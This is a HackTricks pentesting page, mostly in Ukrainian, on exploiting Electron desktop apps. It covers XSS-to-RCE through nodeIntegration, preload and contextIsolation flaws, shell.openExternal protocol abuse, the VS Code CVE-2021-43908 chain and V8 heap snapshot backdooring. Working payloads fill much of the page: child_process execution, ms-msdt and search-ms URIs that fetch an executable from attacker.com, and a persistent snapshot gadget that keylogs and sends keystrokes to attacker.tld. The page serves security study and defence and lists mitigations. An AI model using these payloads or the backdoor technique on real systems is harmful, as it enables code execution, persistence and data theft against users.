Десктопні застосунки Electron
Reading time: 21 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Вступ
Electron поєднує локальний бекенд (з NodeJS) і фронтенд (Chromium), хоча йому не вистачає деяких механізмів безпеки сучасних браузерів.
Зазвичай код electron-застосунку можна знайти всередині .asar
архіву; щоб отримати код, його потрібно витягти:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
У вихідному коді Electron-додатка, у файлі packet.json
, вказано файл main.js
, у якому задаються налаштування безпеки.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron має 2 типи процесів:
- Головний процес (має повний доступ до NodeJS)
- Процес рендерера (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
Процес рендерера буде вікном браузера, яке завантажує файл:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Налаштування renderer process можна задати в main process у файлі main.js. Деякі конфігурації можуть запобігти RCE або іншим вразливостям в Electron application, якщо параметри налаштовані правильно.
Electron application could access the device via Node apis although it can be configure to prevent it:
nodeIntegration
- за замовчуваннямoff
. Якщоon
, дозволяє доступ до node features з renderer process.contextIsolation
- за замовчуваннямon
. Якщоoff
, main і renderer processes не ізольовані.preload
- порожній за замовчуванням.sandbox
- за замовчуваннямoff
. Він обмежує дії, які може виконувати NodeJS.- Node Integration in Workers
nodeIntegrationInSubframes
- за замовчуваннямoff
.- Якщо
nodeIntegration
увімкнено, це дозволить використовувати Node.js APIs на веб-сторінках, які завантажуються в iframes всередині Electron application. - Якщо
nodeIntegration
відключено, тоді preloads завантажуються в iframe
Приклад конфігурації:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Деякі RCE payloads з here:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Захоплення трафіку
Змініть конфігурацію start-main і додайте використання proxy, наприклад:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
Якщо ви можете локально виконати Electron App, можливо, ви зможете змусити його виконати довільний javascript код. Див. як у:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Якщо nodeIntegration встановлено в on, JavaScript веб-сторінки може легко використовувати можливості Node.js, просто викликавши require()
. Наприклад, спосіб запустити додаток calc на Windows такий:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
Скрипт, вказаний у цьому налаштуванні, завантажується перед іншими скриптами в renderer, тому він має необмежений доступ до Node APIs:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Отже, скрипт може експортувати node-features до сторінок:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Якщо
contextIsolation
увімкнено, це не спрацює
RCE: XSS + contextIsolation
The contextIsolation introduces the separated contexts between the web page scripts and the JavaScript Electron's internal code so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
If the contexts aren't isolated an attacker can:
- Execute arbitrary JavaScript in renderer (XSS or navigation to external sites)
- Overwrite the built-in method which is used in preload or Electron internal code to отримати контроль
- Trigger the use of overwritten function
- RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Обхід події кліку
Якщо при кліку на посилання застосовано обмеження, ви можете обійти їх, натиснувши середню кнопку миші замість звичайного лівого кліку
window.addEventListener('click', (e) => {
RCE via shell.openExternal
Для додаткової інформації про ці приклади див. https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 та https://benjamin-altpeter.de/shell-openexternal-dangers/
При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для nodeIntegration
та contextIsolation
. Вважається, що client-side remote code execution (RCE), спрямований на preload scripts або нативний код Electron із main process, ефективно запобігається за наявності цих налаштувань.
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні event listeners, які є критично важливими для безпеки та функціональності застосунку:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Ці слухачі перевизначаються настільним додатком для реалізації власної бізнес-логіки. Додаток вирішує, чи відкривати перехід за посиланням внутрішньо, чи у зовнішньому веб-браузері. Це рішення зазвичай приймається за допомогою функції openInternally
. Якщо ця функція повертає false
, це означає, що посилання слід відкривати зовнішньо з використанням функції shell.openExternal
.
Ось спрощений псевдокод:
Electron JS security best practices не радять приймати ненадійний контент через функцію openExternal
, оскільки це може призвести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів та подальших пояснень з цієї теми можна звернутися до this resource, яке включає приклади протоколів Windows, здатні експлуатувати цю вразливість.
У macos функцію openExternal
можна експлуатувати для виконання довільних команд, наприклад shell.openExternal('file:///System/Applications/Calculator.app')
.
Приклади експлойтів протоколів Windows включають:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Цю вразливість можна знайти в цьому звіті.
The webviewTag is a застаріла функція that allows the use of NodeJS in the renderer process, which should be disabled as it allows to load a script inside the preload context like:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Отже, нападник, який зуміє завантажити довільну сторінку, може використати цей тег, щоб завантажити довільний preload-скрипт.
Цей preload-скрипт потім був використаний для виклику вразливої IPC-служби (skype-new-window
), яка викликала shell.openExternal
для отримання RCE:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Читання внутрішніх файлів: XSS + contextIsolation
Вимкнення contextIsolation
дозволяє використовувати теги <webview>
, схожі на <iframe>
, для читання та exfiltrating локальних файлів. Наведений приклад демонструє, як exploit цю вразливість для читання вмісту внутрішніх файлів:
Крім того, наведено інший метод для читання внутрішнього файлу, який підкреслює критичну local file read вразливість в Electron desktop app. Це передбачає впровадження скрипта для exploit додатка та exfiltrate даних:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
Якщо chromium, який використовує додаток, є old і на ньому є known vulnerabilities, може стати можливим exploit it and obtain RCE through a XSS.\
You can see an example in this writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
Припустимо, ви знайшли XSS, але cannot trigger RCE or steal internal files — ви можете спробувати використати його для steal credentials via phishing.
Насамперед потрібно зрозуміти, що відбувається при спробі відкрити новий URL, перевіривши JS код у front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
Виклик openInternally
вирішує, чи link буде opened у desktop window, оскільки це посилання, що належить платформі, or чи буде відкрито у browser as a 3rd party resource.
Якщо regex, що використовується функцією, є vulnerable to bypasses (наприклад через not escaping the dots of subdomains), атакуючий може зловживати XSS, щоб open a new window which розміщувався в інфраструктурі атакувальника і asking for credentials у користувача:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Протокол
Як згадано в документації, сторінки, що виконуються під file://
, мають односторонній доступ до всіх файлів на вашому комп'ютері, а це означає, що XSS issues can be used to load arbitrary files з машини користувача. Використання власного протоколу запобігає подібним проблемам, оскільки ви можете обмежити протокол лише набором конкретних файлів.
Remote module
Модуль Remote в Electron дозволяє renderer processes to access main process APIs, полегшуючи комунікацію всередині Electron-застосунку. Проте увімкнення цього модуля створює суттєві ризики безпеки. Він розширює поверхню атаки застосунку, роблячи його більш вразливим до таких вразливостей, як cross-site scripting (XSS) attacks.
tip
Хоча модуль remote відкриває деякі API з main у renderer processes, отримати RCE лише шляхом зловживання компонентами не так просто. Проте компоненти можуть розкривати чутливу інформацію.
warning
Багато застосунків, що досі використовують remote module, роблять це так, що require NodeIntegration to be enabled у renderer process, що є великою загрозою безпеці.
Починаючи з Electron 14, модуль remote
може вимагати кілька кроків для ввімкнення; однак з міркувань безпеки та продуктивності рекомендується його не використовувати.
Щоб його увімкнути, спочатку потрібно увімкнути його в main process:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Тоді процес renderer може імпортувати об'єкти з модуля так:
import { dialog, getCurrentWindow } from '@electron/remote'
The blog post вказує на кілька цікавих функцій, які надає об'єкт app
з віддаленого модуля:
app.relaunch([options])
- Перезапускає додаток шляхом завершення поточного екземпляра і запуску нового. Корисно для оновлень додатка або значних змін стану.
app.setAppLogsPath([path])
- Визначає або створює директорію для збереження логів додатка. Логи можна отримати або змінити за допомогою
app.getPath()
абоapp.setPath(pathName, newPath)
. app.setAsDefaultProtocolClient(protocol[, path, args])
- Реєструє поточний виконуваний файл як стандартний обробник для вказаного протоколу. Можна вказати власний шлях і аргументи за потреби.
app.setUserTasks(tasks)
- Додає завдання до категорії Tasks у Jump List (на Windows). Кожне завдання може контролювати, як запускається додаток або які аргументи передаються.
app.importCertificate(options, callback)
- Імпортує PKCS#12 certificate до системного сховища сертифікатів (тільки для Linux). Для обробки результату можна використовувати callback.
app.moveToApplicationsFolder([options])
- Переміщує додаток до Applications folder (на macOS). Допомагає забезпечити стандартну інсталяцію для користувачів Mac.
app.setJumpList(categories)
- Встановлює або видаляє власний Jump List у Windows. Можна вказати категорії, щоб організувати, як завдання відображаються користувачеві.
app.setLoginItemSettings(settings)
- Налаштовує, які виконувані файли запускаються під час входу в систему разом із їхніми опціями (тільки для macOS та Windows).
Example:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences модуль
Це основний API для доступу до системних налаштувань та генерації системних подій в Electron. Методи, такі як subscribeNotification, subscribeWorkspaceNotification, getUserDefault та setUserDefault, є частиною цього модуля.
Приклад використання:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Слухає нативні сповіщення macOS за допомогою NSDistributedNotificationCenter.
- Перед macOS Catalina можна було sniff всі distributed notifications, передаючи nil у CFNotificationCenterAddObserver.
- Після Catalina / Big Sur, sandboxed apps все ще можуть підписуватися на багато подій (наприклад, screen locks/unlocks, volume mounts, network activity тощо) шляхом реєстрації notifications за ім’ям.
getUserDefault / setUserDefault
-
Інтерфейсується з NSUserDefaults, який зберігає аплікаційні або глобальні налаштування в macOS.
-
getUserDefault може отримувати чутливу інформацію, наприклад recent file locations або географічне розташування користувача.
-
setUserDefault може змінювати ці налаштування, потенційно впливаючи на конфігурацію програми.
-
В старіших версіях Electron (до v8.3.0) був доступний лише standard suite NSUserDefaults.
Shell.showItemInFolder
Ця функція показує вказаний файл у файловому менеджері, який може автоматично виконати файл.
For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Electron apps повинні мати Content Security Policy (CSP), щоб запобігти XSS attacks. CSP — це стандарт безпеки, який допомагає перешкоджати виконанню untrusted code в браузері.
Зазвичай він налаштовується в файлі main.js
або в шаблоні index.html
через CSP у meta tag.
For more information check:
Content Security Policy (CSP) Bypass
RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
Цей реальний ланцюжок вплинув на Visual Studio Code 1.63 (CVE-2021-43908) і демонструє, як одиничний markdown-driven XSS у webview може ескалуватися до повного RCE, коли CSP, postMessage та scheme handlers неправильно налаштовані. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- First XSS via webview CSP: The generated CSP included
style-src 'self' 'unsafe-inline'
, allowing inline/style-based injection in avscode-webview://
context. The payload beaconed to/stealID
to exfiltrate the target webview’s extensionId. - Constructing target webview URL: Using the leaked ID to build
vscode-webview://<extensionId>/.../<publicUrl>
. - Second XSS via postMessage trust: The outer webview trusted
window.postMessage
without strict origin/type checks and loaded attacker HTML withallowScripts: true
. - Local file loading via scheme/path rewriting: The payload rewrote
file:///...
tovscode-file://vscode-app/...
and swappedexploit.md
forRCE.html
, abusing weak path validation to load a privileged local resource. - RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Example RCE primitive in the final context
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
Related reading on postMessage trust issues:
Інструменти
- Electronegativity — інструмент для ідентифікації misconfigurations і security anti-patterns у додатках на Electron.
- Electrolint — open source плагін для VS Code для додатків на Electron, який використовує Electronegativity.
- nodejsscan — для перевірки наявності вразливих сторонніх бібліотек
- Electro.ng: Потрібно купити
Лаби
In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s you can find a lab to exploit vulnerable Electron apps.
Деякі команди, які допоможуть вам у лабораторній роботі:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Локальне backdooring через V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
Electron і Chromium-based додатки десеріалізують попередньо збудований V8 heap snapshot під час запуску (v8_context_snapshot.bin, і опційно browser_v8_context_snapshot.bin) для ініціалізації кожного V8 isolate (main, preload, renderer). Історично Electron’s integrity fuses не розглядали ці snapshots як виконуваний вміст, тож вони уникали і fuse-based integrity enforcement, і перевірок OS code-signing. Внаслідок цього заміна snapshot в інсталяції, доступній для запису користувачем, надавала приховане, персистентне виконання коду всередині додатка без модифікації підписаних бінарників або ASAR.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation і OnlyLoadAppFromAsar перевіряють app JavaScript всередині ASAR, але вони не покривали V8 heap snapshots (CVE-2025-55305). Chromium аналогічно не integrity-checks snapshots.
- Attack preconditions: локальний запис файлів у директорію інсталяції додатка. Це звично на системах, де Electron apps або Chromium browsers встановлені у шляхи, доступні для запису користувачем (наприклад, %AppData%\Local на Windows; /Applications з певними застереженнями на macOS).
- Effect: надійне виконання зловмисницького JavaScript у будь-якому isolate шляхом перезапису часто використовуваного builtin (a “gadget”), що дозволяє persistence і уникнення перевірки code-signing.
- Affected surface: Electron apps (навіть з увімкненими fuses) та Chromium-based browsers, які завантажують snapshots з локацій, доступних для запису користувачем.
Generating a malicious snapshot without building Chromium
- Використайте попередньо збудований electron/mksnapshot, щоб скомпілювати payload JS у snapshot і перезаписати v8_context_snapshot.bin додатка.
Example minimal payload (prove execution by forcing a crash)
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
Isolate-aware payload routing (run different code in main vs. renderer)
- Виявлення головного процесу: глобальні змінні, доступні лише в Node, такі як process.pid, process.binding(), або process.dlopen, присутні в ізоляції головного процесу.
- Виявлення браузера/рендерера: глобальні змінні, доступні лише в браузері, такі як alert, доступні під час виконання в контексті документу.
Example gadget that probes main-process Node capabilities once
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
PoC викрадення даних у renderer/browser-context (наприклад, Slack)
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
Робочий процес оператора
- Напишіть payload.js, який перезаписує поширений вбудований метод (наприклад, Array.isArray) і за потреби робить розгалуження для кожного isolate.
- Build the snapshot without Chromium sources:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
- Перезапишіть файл(и) snapshot цільового додатка:
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
- Запустіть додаток; the gadget виконується щоразу, коли використовується вибраний builtin.
Примітки та зауваження
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
Виявлення та пом'якшення
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
Посилання
- Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more
- Electron fuses
- Electron ASAR integrity
- V8 custom startup snapshots
- electron/mksnapshot
- MITRE ATT&CK T1218.015
- Loki C2
- Chromium: Disable loading of unsigned code (CIG)
- Chrome security FAQ: physically local attacks out of scope
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- More researches and write-ups about Electron security in https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.